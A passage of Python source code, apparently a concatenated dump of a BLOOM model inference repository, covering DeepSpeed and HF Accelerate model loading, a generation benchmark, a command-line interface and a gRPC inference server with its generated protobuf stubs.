+    ds_config['zero_optimization']['offload_param'] = dict(device='nvme', pin_memory=True, nvme_path=args.nvme_offload_path, buffer_size=4000000000.0)
+dschf = HfDeepSpeedConfig(ds_config)
+if args.benchmark:
+    torch.cuda.empty_cache()
+    gc.collect()
+    deepspeed.runtime.utils.see_memory_usage('pre-from-pretrained', force=True)
+model = AutoModelForCausalLM.from_pretrained(model_name, torch_dtype=torch.bfloat16)
+if args.benchmark:
+    deepspeed.runtime.utils.see_memory_usage('post-from-pretrained', force=True)
+model = model.eval()
+print_rank0(ds_config)
+ds_engine = deepspeed.initialize(model=model, config_params=ds_config)[0]
+ds_engine.module.eval()
+model = ds_engine.module
+if args.benchmark:
+    t_ready = time.time()
+    deepspeed.runtime.utils.see_memory_usage('start-of-generate', force=True)
+print_rank0(f'*** Starting to generate {num_tokens} tokens with bs={args.batch_size}')
+input_sentences = ['DeepSpeed is a machine learning framework', 'He is working on', 'He has a', 'He got all', 'Everyone is happy and I can', 'The new movie that got Oscar this year', 'In the far far distance from our galaxy,', 'Peace is the only way']
+if args.batch_size > len(input_sentences):
+    input_sentences *= math.ceil(args.batch_size / len(input_sentences))
+generate_kwargs = dict(max_new_tokens=num_tokens, do_sample=False)
+print_rank0(f'Generate args {generate_kwargs}')
+inputs = input_sentences[:args.batch_size]
+
+def generate():
+    input_tokens = tokenizer.batch_encode_plus(inputs, return_tensors='pt', padding=True)
+    for t in input_tokens:
+        if torch.is_tensor(input_tokens[t]):
+            input_tokens[t] = input_tokens[t].to(torch.cuda.current_device())
+    outputs = model.generate(**input_tokens, **generate_kwargs)
+    input_tokens_lengths = [x.shape[0] for x in input_tokens.input_ids]
+    output_tokens_lengths = [x.shape[0] for x in outputs]
+    total_new_tokens = [o - i for (i, o) in zip(input_tokens_lengths, output_tokens_lengths)]
+    outputs = tokenizer.batch_decode(outputs, skip_special_tokens=True)
+    return zip(inputs, outputs, total_new_tokens)
+print_rank0('*** Running generate')
+t_generate_start = time.time()
+pairs = generate()
+t_generate_span = time.time() - t_generate_start
+for (i, o, _) in pairs:
+    print_rank0(f"{'-' * 60}\nin={i}\nout={o}\n")
+if args.benchmark:
+    torch.cuda.empty_cache()
+    gc.collect()
+    deepspeed.runtime.utils.see_memory_usage('end-of-generate', force=True)
+    print_rank0('*** Running benchmark')
+    for i in range(1):
+        _ = generate()
+    torch.cuda.synchronize()
+    t0 = time.time()
+    cycles = 5
+    total_new_tokens_generated = 0
+    for i in range(cycles):
+        generated = generate()
+        total_new_tokens_generated += sum((new_tokens for (_, _, new_tokens) in generated))
+    torch.cuda.synchronize()
+    total_new_tokens_generated *= world_size
+    throughput = (time.time() - t0) / total_new_tokens_generated
+    print_rank0(f'\n*** Performance stats:\nThroughput per token including tokenize: {throughput * 1000:.2f} msecs\nStart to ready to generate: {t_ready - t_start:.3f} secs\nTokenize and generate {total_new_tokens_generated} (bs={args.batch_size}) tokens: {t_generate_span:.3f} secs\nStart to finish: {t_ready - t_start + t_generate_span:.3f} secs\n')
+
+# File: transformers-bloom-inference-main/inference_server/benchmark.py
+import argparse
+import gc
+from functools import partial
+import torch
+from .constants import DS_INFERENCE, DS_ZERO
+from .model_handler.deployment import ModelDeployment
+from .models import start_inference_engine
+from .utils import GenerateRequest, create_generate_request, get_argument_parser, get_dummy_batch, get_world_size, parse_args, print_rank_0, run_and_log_time
+
+def benchmark_generation(model: ModelDeployment, request: GenerateRequest, cycles: int=5):
+    total_new_tokens_generated = 0
+    for _ in range(cycles):
+        response = model.generate(request=request)
+        total_new_tokens_generated += sum((new_tokens for new_tokens in response.num_generated_tokens))
+    return total_new_tokens_generated
+
+def get_benchmark_results(benchmark_time: float, initialization_time: float, total_new_tokens_generated: int, batch_size: int, cycles: int) -> str:
+    throughput = total_new_tokens_generated / benchmark_time
+    latency = benchmark_time / cycles
+    return f'\n*** Performance stats:\nThroughput (including tokenization) = {throughput:.2f} tokens/sec\nThroughput (including tokenization) = {1000 / throughput:.2f} msecs/token\nModel loading time = {initialization_time:.2f} secs\nTotal tokens generated = {total_new_tokens_generated} with batch size = {batch_size}\nLatency = {latency:.2f} secs\nModel loading time + generation time per batch = {initialization_time + latency:.2f} secs\n'
+
+def benchmark_end_to_end(args: argparse.Namespace) -> None:
+    (model, initialization_time) = run_and_log_time(partial(ModelDeployment, args=args, grpc_allowed=False))
+    request = create_generate_request(get_dummy_batch(args.batch_size), args.generate_kwargs)
+    print_rank_0(f'generate_kwargs = {args.generate_kwargs}')
+    print_rank_0(f'batch_size = {args.batch_size}')
+    response = model.generate(request=request)
+    for (i, (o, _)) in zip(request.text, zip(response.text, response.num_generated_tokens)):
+        print_rank_0(f"{'-' * 60}\nin = {i}\nout = {o}\n")
+    if args.benchmark_cycles > 0:
+        print_rank_0('*** Running benchmark')
+        torch.cuda.empty_cache()
+        gc.collect()
+        model.generate(request=request)
+        torch.cuda.synchronize()
+        (total_new_tokens_generated, benchmark_time) = run_and_log_time(partial(benchmark_generation, model=model, request=request, cycles=args.benchmark_cycles))
+        if args.deployment_framework == DS_ZERO:
+            total_new_tokens_generated *= get_world_size()
+        print_rank_0(get_benchmark_results(benchmark_time, initialization_time, total_new_tokens_generated, args.batch_size, args.benchmark_cycles))
+
+def get_args() -> argparse.Namespace:
+    parser = get_argument_parser()
+    group = parser.add_argument_group(title='launch config')
+    group.add_argument('--benchmark_cycles', type=int, default=0, help='additionally run benchmark')
+    group.add_argument('--local_rank', required=False, type=int, help='used by dist launchers')
+    group.add_argument('--batch_size', default=1, type=int, help='batch size')
+    group.add_argument('--cpu_offload', action='store_true', help='whether to activate CPU offload for DS ZeRO')
+    args = parse_args(parser)
+    launched_with_deepspeed = args.deployment_framework in [DS_INFERENCE, DS_ZERO]
+    assert args.max_batch_size == None, 'max_batch_size is not supported with benchmark'
+    if not launched_with_deepspeed:
+        assert args.local_rank == None, 'local_rank must be None if not launched with DeepSpeed'
+    if args.cpu_offload:
+        assert args.deployment_framework == DS_ZERO, 'cpu_offload only works with DS_ZeRO'
+    return args
+
+def main() -> None:
+    args = get_args()
+    start_inference_engine(args.deployment_framework)
+    benchmark_end_to_end(args)
+if __name__ == '__main__':
+    main()
+
+# File: transformers-bloom-inference-main/inference_server/cli.py
+import argparse
+import json
+import sys
+from .model_handler import ModelDeployment
+from .utils import get_argument_parser, parse_args, print_rank_0
+
+def get_args() -> argparse.Namespace:
+    parser = get_argument_parser()
+    args = parse_args(parser)
+    return args
+
+def main() -> None:
+    args = get_args()
+    model = ModelDeployment(args, True)
+    generate_kwargs = args.generate_kwargs
+    while True:
+        input_text = input('Input text: ')
+        if input('change generate_kwargs? [y/n] ') == 'y':
+            while True:
+                try:
+                    generate_kwargs = json.loads(input('Generate kwargs: '))
+                    break
+                except Exception as e:
+                    (e_type, e_message, _) = sys.exc_info()
+                    print('error =', e_type.__name__)
+                    print('message =', e_message)
+                    continue
+        response = model.generate(text=[input_text], generate_kwargs=generate_kwargs)
+        print_rank_0('Output text:', response.text[0])
+        print_rank_0('Generated tokens:', response.num_generated_tokens[0])
+if __name__ == '__main__':
+    main()
+
+# File: transformers-bloom-inference-main/inference_server/download_model.py
+import argparse
+from inference_server.models import get_hf_model_class
+from transformers import AutoConfig, AutoTokenizer
+
+def get_args() -> argparse.Namespace:
+    parser = argparse.ArgumentParser()
+    parser.add_argument('--model_name', type=str, required=True, help='model to use')
+    parser.add_argument('--model_class', type=str, required=True, help='model class to use')
+    args = parser.parse_args()
+    return args
+
+def main() -> None:
+    args = get_args()
+    print('downloading', args.model_name)
+    AutoConfig.from_pretrained(args.model_name)
+    AutoTokenizer.from_pretrained(args.model_name)
+    get_hf_model_class(args.model_class).from_pretrained(args.model_name)
+if __name__ == '__main__':
+    main()
+
+# File: transformers-bloom-inference-main/inference_server/model_handler/deployment.py
+""""""
+import argparse
+import asyncio
+import subprocess
+import time
+from typing import List
+import grpc
+from ..constants import DS_INFERENCE, DS_ZERO
+from ..models import get_model_class, load_tokenizer
+from ..utils import ForwardRequest, ForwardResponse, GenerateResponse, TokenizeRequest, TokenizeResponse, create_generate_request, get_cuda_visible_devices, get_str_dtype, get_world_size, print_rank_0
+from .grpc_utils.pb import generation_pb2, generation_pb2_grpc
+
+class ModelDeployment:
+
+    def __init__(self, args: argparse.Namespace, grpc_allowed: bool=False):
+        self.cuda_visible_devices = get_cuda_visible_devices()
+        self.num_gpus = get_world_size()
+        self.use_grpc_server = self.should_use_grpc(args.deployment_framework, grpc_allowed)
+        if self.use_grpc_server:
+            self.tokenizer = load_tokenizer(args.model_name)
+            self.initialize_ports()
+            self.dtype_proto_field = {str: 'svalue', int: 'ivalue', float: 'fvalue', bool: 'bvalue'}
+            self._initialize_service(args)
+            self._wait_until_server_is_live()
+            self.asyncio_loop = asyncio.get_event_loop()
+            self._initialize_grpc_client()
+        else:
+            self.model = get_model_class(args.deployment_framework)(args)
+        print_rank_0('model loaded')
+
+    def should_use_grpc(self, deployment_framework: str, grpc_allowed: bool) -> bool:
+        if grpc_allowed and get_world_size() > 1:
+            return deployment_framework in [DS_INFERENCE, DS_ZERO]
+        return False
+
+    def initialize_ports(self):
+        self.ports = []
+        for i in range(self.num_gpus):
+            self.ports.append(50950 + self.cuda_visible_devices[i])
+
+    def _is_socket_open(self, port):
+        import socket
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        result = sock.connect_ex(('0.0.0.0', port))
+        sock.close()
+        return result == 0
+
+    def _is_server_process_alive(self):
+        if self.process is None:
+            return True
+        try:
+            self.process.wait(1)
+        except subprocess.TimeoutExpired as err:
+            is_alive = True
+        else:
+            is_alive = False
+        return is_alive
+
+    def _wait_until_server_is_live(self):
+        sockets_open = False
+        while not sockets_open:
+            sockets_open = self._is_socket_open(self.ports[0])
+            process_alive = self._is_server_process_alive()
+            if not process_alive:
+                raise RuntimeError('server crashed for some reason, unable to proceed')
+            time.sleep(4)
+            print_rank_0('waiting for server to start...')
+        print_rank_0(f'server has started on {self.ports[0]}')
+
+    def dict_to_proto(self, generate_kwargs: dict) -> dict:
+        result = {}
+        for (k, v) in generate_kwargs.items():
+            if v is not None:
+                x = generation_pb2.Value()
+                setattr(x, self.dtype_proto_field[type(v)], v)
+                result[k] = x
+        return result
+
+    def _initialize_service(self, args: argparse.Namespace):
+        if self._is_socket_open(self.ports[0]):
+            raise RuntimeError(f'Server is already running on port {self.ports}, please shutdown or use different port.')
+        if args.deployment_framework in [DS_INFERENCE, DS_ZERO]:
+            ports = ' '.join(map(str, self.ports))
+            cmd = f'inference_server.model_handler.launch --model_name {args.model_name} --deployment_framework {args.deployment_framework} --dtype {get_str_dtype(args.dtype)} --port {ports} --model_class {args.model_class}'
+            if args.max_batch_size is not None:
+                cmd += f' --max_batch_size {args.max_batch_size}'
+            if args.max_input_length is not None:
+                cmd += f' --max_input_length {args.max_input_length}'
+            master_port = 29500 + min(self.cuda_visible_devices)
+            cuda_visible_devices = ','.join(map(str, self.cuda_visible_devices))
+            cmd = f'deepspeed --master_port {master_port} --include localhost:{cuda_visible_devices} --module {cmd}'
+        else:
+            raise NotImplementedError(f'unsupported deployment_framework: {args.deployment_framework}')
+        cmd = cmd.split(' ')
+        self.process = subprocess.Popen(cmd)
+
+    def _initialize_grpc_client(self):
+        self.stubs = []
+        for i in self.ports:
+            channel = grpc.aio.insecure_channel(f'localhost:{i}')
+            stub = generation_pb2_grpc.GenerationServiceStub(channel)
+            self.stubs.append(stub)
+
+    async def generate_in_tensor_parallel(self, text: List[str], generate_kwargs: dict):
+        responses = []
+        for i in range(self.num_gpus):
+            responses.append(self.asyncio_loop.create_task(self.generate_async(i, text, generate_kwargs)))
+        await responses[0]
+        return responses[0]
+
+    async def generate_async(self, stub_id: int, text: List[str], generate_kwargs: dict):
+        req = generation_pb2.GenerationRequestProto(texts=text, generate_kwargs=generate_kwargs)
+        response = await self.stubs[stub_id].Generate(req)
+        return response
+
+    async def forward_in_tensor_parallel(self, conditioning_text: List[str], response: List[str]):
+        responses = []
+        for i in range(self.num_gpus):
+            responses.append(self.asyncio_loop.create_task(self.forward_async(i, conditioning_text, response)))
+        await responses[0]
+        return responses[0]
+
+    async def forward_async(self, stub_id: int, conditioning_text: List[str], response: List[str]):
+        req = generation_pb2.ForwardRequestProto(conditioning_text=conditioning_text, response=response)
+        response = await self.stubs[stub_id].Forward(req)
+        return response
+
+    def generate(self, **kwargs) -> GenerateResponse:
+        if self.use_grpc_server:
+            if 'request' in kwargs:
+                text = kwargs['request'].text
+                generate_kwargs = kwargs['request'].get_generate_kwargs()
+            else:
+                text = kwargs['text']
+                generate_kwargs = kwargs['generate_kwargs']
+            generate_kwargs = self.dict_to_proto(generate_kwargs)
+            response = self.asyncio_loop.run_until_complete(self.generate_in_tensor_parallel(text, generate_kwargs)).result()
+            if response.error:
+                raise Exception(response.error)
+            else:
+                return GenerateResponse(text=[r for r in response.texts], num_generated_tokens=[n for n in response.num_generated_tokens])
+        else:
+            if 'request' in kwargs:
+                request = kwargs['request']
+            else:
+                request = create_generate_request(**kwargs)
+            response = self.model.generate(request)
+            if isinstance(response, Exception):
+                raise response
+            else:
+                return response
+
+    def forward(self, request: ForwardRequest) -> ForwardResponse:
+        if self.use_grpc_server:
+            response = self.asyncio_loop.run_until_complete(self.forward_in_tensor_parallel(request.conditioning_text, request.response)).result()
+            if response.error:
+                raise Exception(response.error)
+            else:
+                return ForwardResponse(nll=response.nll)
+        else:
+            response = self.model.forward(request)
+            if isinstance(response, Exception):
+                raise response
+            else:
+                return response
+
+    def tokenize(self, request: TokenizeRequest) -> TokenizeResponse:
+        if self.use_grpc_server:
+            response = self.tokenizer(request.text, padding=request.padding)
+            response = TokenizeResponse(token_ids=response.input_ids, attention_mask=response.attention_mask)
+        else:
+            response = self.model.tokenize(request)
+        return response
+
+# File: transformers-bloom-inference-main/inference_server/model_handler/grpc_utils/generation_server.py
+import os
+from concurrent import futures
+import torch
+import grpc
+from ...models import Model
+from ...utils import ForwardRequest, TokenizeRequest, create_generate_request, print_rank_0
+from .pb import generation_pb2, generation_pb2_grpc
+
+class GenerationServer(generation_pb2_grpc.GenerationServiceServicer):
+
+    def __init__(self, model: Model) -> None:
+        self.model = model
+
+    def _unpack_proto_query_kwargs(self, query_kwargs):
+        query_kwargs = {k: getattr(v, v.WhichOneof('oneof_values')) for (k, v) in query_kwargs.items()}
+        return query_kwargs
+
+    def Generate(self, request, context):
+        text = [r for r in request.texts]
+        generate_kwargs = self._unpack_proto_query_kwargs(request.generate_kwargs)
+        request = create_generate_request(text=text, generate_kwargs=generate_kwargs)
+        local_rank = int(os.getenv('LOCAL_RANK', '0'))
+        torch.cuda.set_device(local_rank)
+        self.model.input_device = local_rank
+        response = self.model.generate(request)
+        if isinstance(response, Exception):
+            response = generation_pb2.GenerationResponseProto(error=str(response), is_encoder_decoder=response.is_encoder_decoder)
+        else:
+            response = generation_pb2.GenerationResponseProto(texts=response.text, num_generated_tokens=response.num_generated_tokens, is_encoder_decoder=response.is_encoder_decoder)
+        return response
+
+    def Forward(self, request, context):
+        conditioning_text = [r for r in request.conditioning_text]
+        response = [r for r in request.response]
+        request = ForwardRequest(conditioning_text=conditioning_text, response=response)
+        local_rank = int(os.getenv('LOCAL_RANK', '0'))
+        torch.cuda.set_device(local_rank)
+        self.model.input_device = local_rank
+        response = self.model.forward(request)
+        if isinstance(response, Exception):
+            response = generation_pb2.ForwardResponseProto(error=str(response), is_encoder_decoder=response.is_encoder_decoder)
+        else:
+            response = generation_pb2.ForwardResponseProto(nll=response.nll, is_encoder_decoder=response.is_encoder_decoder)
+        return response
+
+def serve(inference_pipeline, port):
+    server = grpc.server(futures.ThreadPoolExecutor(max_workers=1))
+    generation_pb2_grpc.add_GenerationServiceServicer_to_server(GenerationServer(inference_pipeline), server)
+    server.add_insecure_port(f'[::]:{port}')
+    print_rank_0('About to start server')
+    server.start()
+    print_rank_0('Started')
+    server.wait_for_termination()
+
+# File: transformers-bloom-inference-main/inference_server/model_handler/grpc_utils/pb/generation_pb2.py
+""""""
+from google.protobuf import descriptor as _descriptor
+from google.protobuf import descriptor_pool as _descriptor_pool
+from google.protobuf import symbol_database as _symbol_database
+from google.protobuf.internal import builder as _builder
+_sym_db = _symbol_database.Default()
+DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x10generation.proto\x12\ngeneration"_\n\x05Value\x12\x10\n\x06svalue\x18\x01 \x01(\tH\x00\x12\x10\n\x06ivalue\x18\x02 \x01(\x03H\x00\x12\x10\n\x06fvalue\x18\x03 \x01(\x02H\x00\x12\x10\n\x06bvalue\x18\x04 \x01(\x08H\x00B\x0e\n\x0coneof_values"\xc2\x01\n\x16GenerationRequestProto\x12\r\n\x05texts\x18\x01 \x03(\t\x12O\n\x0fgenerate_kwargs\x18\x02 \x03(\x0b26.generation.GenerationRequestProto.GenerateKwargsEntry\x1aH\n\x13GenerateKwargsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12 \n\x05value\x18\x02 \x01(\x0b2\x11.generation.Value:\x028\x01"q\n\x17GenerationResponseProto\x12\r\n\x05texts\x18\x01 \x03(\t\x12\x1c\n\x14num_generated_tokens\x18\x02 \x03(\x05\x12\r\n\x05error\x18\x03 \x01(\t\x12\x1a\n\x12is_encoder_decoder\x18\x04 \x01(\x08"B\n\x13ForwardRequestProto\x12\x19\n\x11conditioning_text\x18\x01 \x03(\t\x12\x10\n\x08response\x18\x02 \x03(\t"N\n\x14ForwardResponseProto\x12\x0b\n\x03nll\x18\x01 \x01(\x02\x12\r\n\x05error\x18\x02 \x01(\t\x12\x1a\n\x12is_encoder_decoder\x18\x03 \x01(\x082\xba\x01\n\x11GenerationService\x12U\n\x08Generate\x12".generation.GenerationRequestProto\x1a#.generation.GenerationResponseProto"\x00\x12N\n\x07Forward\x12\x1f.generation.ForwardRequestProto\x1a .generation.ForwardResponseProto"\x00b\x06proto3')
+_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
+_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'generation_pb2', globals())
+if _descriptor._USE_C_DESCRIPTORS == False:
+    DESCRIPTOR._options = None
+    _GENERATIONREQUESTPROTO_GENERATEKWARGSENTRY._options = None
+    _GENERATIONREQUESTPROTO_GENERATEKWARGSENTRY._serialized_options = b'8\x01'
+    _VALUE._serialized_start = 32
+    _VALUE._serialized_end = 127
+    _GENERATIONREQUESTPROTO._serialized_start = 130
+    _GENERATIONREQUESTPROTO._serialized_end = 324
+    _GENERATIONREQUESTPROTO_GENERATEKWARGSENTRY._serialized_start = 252
+    _GENERATIONREQUESTPROTO_GENERATEKWARGSENTRY._serialized_end = 324
+    _GENERATIONRESPONSEPROTO._serialized_start = 326
+    _GENERATIONRESPONSEPROTO._serialized_end = 439
+    _FORWARDREQUESTPROTO._serialized_start = 441
+    _FORWARDREQUESTPROTO._serialized_end = 507
+    _FORWARDRESPONSEPROTO._serialized_start = 509
+    _FORWARDRESPONSEPROTO._serialized_end = 587
+    _GENERATIONSERVICE._serialized_start = 590
+    _GENERATIONSERVICE._serialized_end = 776
+
+# File: transformers-bloom-inference-main/inference_server/model_handler/grpc_utils/pb/generation_pb2_grpc.py
+""""""
+import grpc
+from . import generation_pb2 as generation__pb2
+
+class GenerationServiceStub(object):
+
+    def __init__(self, channel):
+        self.Generate = channel.unary_unary('/generation.GenerationService/Generate', request_serializer=generation__pb2.GenerationRequestProto.SerializeToString, response_deserializer=generation__pb2.GenerationResponseProto.FromString)
+        self.Forward = channel.unary_unary('/generation.GenerationService/Forward', request_serializer=generation__pb2.ForwardRequestProto.SerializeToString, response_deserializer=generation__pb2.ForwardResponseProto.FromString)
+
+class GenerationServiceServicer(object):
+
+    def Generate(self, request, context):
+        context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+        context.set_details('Method not implemented!')
+        raise NotImplementedError('Method not implemented!')
+
+    def Forward(self, request, context):
+        context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+        context.set_details('Method not implemented!')
+        raise NotImplementedError('Method not implemented!')
+
+def add_GenerationServiceServicer_to_server(servicer, server):
+    rpc_method_handlers = {'Generate': grpc.unary_unary_rpc_method_handler(servicer.Generate, request_deserializer=generation__pb2.GenerationRequestProto.FromString, response_serializer=generation__pb2.GenerationResponseProto.SerializeToString), 'Forward': grpc.unary_unary_rpc_method_handler(servicer.Forward, request_deserializer=generation__pb2.ForwardRequestProto.FromString, response_serializer=generation__pb2.ForwardResponseProto.SerializeToString)}
+    generic_handler = grpc.method_handlers_generic_handler('generation.GenerationService', rpc_method_handlers)
+    server.add_generic_rpc_handlers((generic_handler,))
+
+class GenerationService(object):
+
+    @staticmethod
+    def Generate(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None):
+        return grpc.experimental.unary_unary(request, target, '/generation.GenerationService/Generate', generation__pb2.GenerationRequestProto.SerializeToString, generation__pb2.GenerationResponseProto.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+    @staticmethod
+    def Forward(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None):
+        return grpc.experimental.unary_unary(request, target, '/generation.GenerationService/Forward', generation__pb2.ForwardRequestProto.SerializeToString, generation__pb2.ForwardResponseProto.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
+
+# File: transformers-bloom-inference-main/inference_server/model_handler/launch.py
+""""""
+import argparse
+import torch.distributed as dist
+from ..models import get_model_class, start_inference_engine
+from ..utils import get_argument_parser, parse_args
+from .grpc_utils.generation_server import serve
+
+def get_args() -> argparse.Namespace:
+    parser = get_argument_parser()
+    group = parser.add_argument_group(title='launch config')
+    group.add_argument('--local_rank', required=False, type=int, help='used by dist launchers')
+    group.add_argument('--cpu_offload', action='store_true', help='whether to activate CPU offload for DS ZeRO')
+    group.add_argument('--ports', nargs='+', help='GRPC ports')
+    args = parse_args(parser)
+    return args
+
+def main():
+    args = get_args()
+    start_inference_engine(args.deployment_framework)
+    model = get_model_class(args.deployment_framework)(args)
+    serve(model, args.ports[dist.get_rank()])
+if __name__ == '__main__':
+    main()
+
+# File: transformers-bloom-inference-main/inference_server/models/__init__.py
+from ..constants import DS_INFERENCE, DS_ZERO, HF_ACCELERATE, HF_CPU
+from .model import Model, get_hf_model_class, load_tokenizer
+
+def get_model_class(deployment_framework: str):
+    if deployment_framework == HF_ACCELERATE:
+        from .hf_accelerate import HFAccelerateModel
+        return HFAccelerateModel
+    elif deployment_framework == HF_CPU:
+        from .hf_cpu import HFCPUModel
+        return HFCPUModel
+    elif deployment_framework == DS_INFERENCE:
+        from .ds_inference import DSInferenceModel
+        return DSInferenceModel
+    elif deployment_framework == DS_ZERO:
+        from .ds_zero import DSZeROModel
+        return DSZeROModel
+    else:
+        raise ValueError(f'Unknown deployment framework {deployment_framework}')
+
+def start_inference_engine(deployment_framework: str) -> None:
+    if deployment_framework in [DS_INFERENCE, DS_ZERO]:
+        import deepspeed
+        deepspeed.init_distributed('nccl')
+
+# File: transformers-bloom-inference-main/inference_server/models/ds_inference.py
+import glob
+import io
+import json
+import os
+from argparse import Namespace
+from functools import partial
+import torch
+import deepspeed
+from huggingface_hub import try_to_load_from_cache
+from transformers import AutoConfig
+from ..utils import get_world_size, run_rank_n
+from .model import Model, get_hf_model_class
+
+class DSInferenceModel(Model):
+
+    def __init__(self, args: Namespace) -> None:
+        super().__init__(args)
+        with deepspeed.OnDevice(dtype=torch.float16, device='meta'):
+            self.model = get_hf_model_class(args.model_class).from_config(AutoConfig.from_pretrained(args.model_name), torch_dtype=torch.bfloat16)
+        self.model = self.model.eval()
+        downloaded_model_path = get_model_path(args.model_name)
+        if args.dtype in [torch.float16, torch.int8]:
+            checkpoints_json = os.path.join(downloaded_model_path, 'ds_inference_config.json')
+            if os.path.isfile(checkpoints_json):
+                self.model = deepspeed.init_inference(self.model, mp_size=get_world_size(), base_dir=downloaded_model_path, dtype=args.dtype, checkpoint=checkpoints_json, replace_with_kernel_inject=True)
+            else:
+                with TemporaryCheckpointsJSON(downloaded_model_path) as checkpoints_json:
+                    self.model = deepspeed.init_inference(self.model, mp_size=get_world_size(), base_dir=downloaded_model_path, dtype=args.dtype, checkpoint=checkpoints_json, replace_with_kernel_inject=True)
+        elif args.dtype == torch.bfloat16:
+            raise NotImplementedError('bfloat16 is not yet supported')
+        self.model = self.model.module
+        self.input_device = torch.cuda.current_device()
+        self.post_init(args.model_name)
+
+class TemporaryCheckpointsJSON:
+
+    def __init__(self, model_path: str):
+        self.tmp_directory = 'tmp'
+        self.tmp_file = os.path.join(self.tmp_directory, 'checkpoints.json')
+        self.model_path = model_path
+
+    def write_checkpoints_json(self) -> None:
+        print(self.model_path)
+        with io.open(self.tmp_file, 'w', encoding='utf-8') as f:
+            data = {'type': 'BLOOM', 'checkpoints': glob.glob(f'{self.model_path}/*.bin'), 'version': 1.0}
+            json.dump(data, f)
+
+    def __enter__(self):
+        run_rank_n(os.makedirs, barrier=True)(self.tmp_directory, exist_ok=True)
+        run_rank_n(self.write_checkpoints_json, barrier=True)()
+        return self.tmp_file
+
+    def __exit__(self, type, value, traceback):
+        return
+
+def get_model_path(model_name: str):
+    try:
+        config_file = 'config.json'
+        config_path = try_to_load_from_cache(model_name, config_file, cache_dir=os.getenv('TRANSFORMERS_CACHE'))
+        if config_path is None:
+            return model_name
+        else:
+            return os.path.dirname(config_path)
+    except:
+        return model_name
+
+# File: transformers-bloom-inference-main/inference_server/models/ds_zero.py
+from argparse import Namespace
+import torch
+import deepspeed
+from transformers import AutoConfig
+from transformers.deepspeed import HfDeepSpeedConfig
+from ..utils import get_world_size
+from .model import Model, get_hf_model_class
+
+class DSZeROModel(Model):
+
+    def __init__(self, args: Namespace) -> None:
+        super().__init__(args)
+        config = AutoConfig.from_pretrained(args.model_name)
+        train_micro_batch_size_per_gpu = 1
+        train_batch_size = train_micro_batch_size_per_gpu * get_world_size()
+        ds_config = {'fp16': {'enabled': args.dtype == torch.float16}, 'bf16': {'enabled': args.dtype == torch.bfloat16}, 'zero_optimization': {'stage': 3, 'overlap_comm': True, 'contiguous_gradients': True, 'reduce_bucket_size': config.hidden_size * config.hidden_size, 'stage3_prefetch_bucket_size': 0.9 * config.hidden_size * config.hidden_size, 'stage3_param_persistence_threshold': 0}, 'steps_per_print': 2000, 'train_batch_size': train_batch_size, 'train_micro_batch_size_per_gpu': train_micro_batch_size_per_gpu, 'wall_clock_breakdown': False}
+        if args.cpu_offload:
+            ds_config['zero_optimization']['offload_param'] = {'device': 'cpu', 'pin_memory': True}
+        dschf = HfDeepSpeedConfig(ds_config)
+        self.model = get_hf_model_class(args.model_class).from_pretrained(args.model_name, torch_dtype=args.dtype)
+        self.model = self.model.eval()
+        self.model = deepspeed.initialize(model=self.model, config_params=ds_config)[0]
+        self.model.module.eval()
+        self.model = self.model.module
+        self.input_device = torch.cuda.current_device()
+        self.post_init(args.model_name)
+
+# File: transformers-bloom-inference-main/inference_server/models/hf_accelerate.py
+from argparse import Namespace
+import torch
+from ..utils import get_world_size
+from .model import Model, get_hf_model_class
+
+class HFAccelerateModel(Model):
+
+    def __init__(self, args: Namespace) -> None:
+        super().__init__(args)
+        kwargs = {'pretrained_model_name_or_path': args.model_name, 'device_map': 'auto'}
+        if get_world_size() > 1:
+            kwargs['device_map'] = 'balanced_low_0'
+        if args.dtype == torch.int8:
+            kwargs['load_in_8bit'] = True
+        else:
+            kwargs['torch_dtype'] = args.dtype
+        self.model = get_hf_model_class(args.model_class).from_pretrained(**kwargs)
+        self.model.requires_grad_(False)
+        self.model.eval()
+        self.input_device = 'cuda:0'
+        self.post_init(args.model_name)
+
+# File: transformers-bloom-inference-main/inference_server/models/model.py
+import argparse
+import copy
+from typing import List, Union
+import torch
+import transformers
+from transformers import AutoConfig, AutoModelForCausalLM, AutoModelForSeq2SeqLM, AutoTokenizer, GenerationConfig
+from ..utils import ForwardRequest, ForwardResponse, GenerateRequest, GenerateResponse, TokenizeRequest, TokenizeResponse
+
+class Model:
+
+    def __init__(self, args: argparse.Namespace) -> None:
+        self.model = None
+        self.input_device = None
+        self.max_input_length = args.max_input_length
+        self.max_batch_size = args.max_batch_size
+
+    def post_init(self, model_name: str) -> None:
+        self.is_encoder_decoder = AutoConfig.from_pretrained(model_name).is_encoder_decoder
+        self.generation_config = GenerationConfig.from_model_config(AutoConfig.from_pretrained(model_name))
+        self.tokenizer = load_tokenizer(model_name)
+        self.pad = self.tokenizer.pad_token_id
+        self.prefix_token_id = self.tokenizer('A')['input_ids'][0]
+
+    def get_generation_config(self, request: GenerateRequest) -> GenerationConfig:
+        generation_config = copy.deepcopy(self.generation_config)
+        request = dict(request)
+        request_filtered = {}
+        for (key, value) in request.items():
+            if value is not None and key not in ['text', 'remove_input_from_output']:
+                request_filtered[key] = value
+        request_filtered['return_dict_in_generate'] = True
+        generation_config.update(**request_filtered)
+        return generation_config
+
+    def generate(self, request: GenerateRequest) -> Union[GenerateResponse, Exception]:
+        try:
+            batch_size = len(request.text)
+            check_batch_size(batch_size, self.max_batch_size)
+            input_tokens = self.tokenizer(request.text, return_tensors='pt', padding=True)
+            max_input_length_in_batch = input_tokens.input_ids[0].shape[0]
+            check_max_input_length(max_input_length_in_batch, self.max_input_length)
+            for t in input_tokens:
+                if torch.is_tensor(input_tokens[t]):
+                    input_tokens[t] = input_tokens[t].to(self.input_device)
+            num_input_tokens = input_tokens['input_ids'].shape[1]
+            generation_config = self.get_generation_config(request)
+            output = self.model.generate(**input_tokens, generation_config=generation_config)
+            output_tokens = output.sequences
+            if self.is_encoder_decoder:
